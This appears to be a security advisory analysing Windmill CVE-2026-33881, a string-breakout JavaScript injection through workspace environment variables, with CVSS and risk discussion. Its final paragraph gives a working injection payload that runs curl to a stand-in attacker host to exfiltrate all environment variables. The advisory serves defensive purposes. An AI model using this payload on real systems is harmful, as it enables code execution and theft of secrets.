Windmill CVE-2026-33881

Requires workspace admin privileges in Windmill versions prior to 1.664.0. Admin must create a custom environment variable with a value containing single quotes ('), which injects arbitrary JavaScript executed in all NativeTS scripts within that workspace. Affects NativeTS executor only.

Real-world risk is moderate despite the 7.3 CVSS score. The CVSS:4.0 vector shows network attack vector (AV:N) with low complexity (AC:L) but critically requires high privileges (PR:H), meaning only workspace administrators can exploit this. EPSS data not provided, but publicly available exploit code exists (E:P in vector), lowering the technical barrier for malicious insiders or compromised admin accounts. No CISA KEV listing indicates no confirmed active exploitation campaigns. The SSVC framework would likely classify this as 'Attend' rather than 'Act' due to the privilege requirement limiting automatability and widespread impact. Primary risk scenarios involve malicious insiders with admin access, supply chain attacks where attacker gains workspace admin credentials, or social engineering targeting privileged users. The high impact ratings (VC:H/VI:H/VA:H) are accurate if exploitation occurs, as arbitrary code execution enables data exfiltration, workflow manipulation, and denial of service within the workspace boundary. Organizations using Windmill in multi-tenant or low-trust admin environments face elevated risk compared to tightly controlled single-team deployments.

A malicious insider with workspace administrator privileges or an external attacker who compromises admin credentials creates a custom environment variable named API_KEY with the value: 'dummy'; require('child_process').exec('curl attacker.com/exfil?data='+JSON.stringify(process.env)); var fake='. When any NativeTS script in the workspace executes and references environment variables, the injected JavaScript breaks out of the string literal context and executes arbitrary commands. The attacker exfiltrates all environment variables (potentially containing secrets for other services), establishes persistence by modifying workflow definitions, or pivots to adjacent systems accessible from the Windmill worker runtime. Publicly available exploit code exists, providing attackers with ready-made payloads requiring minimal modification for specific targets.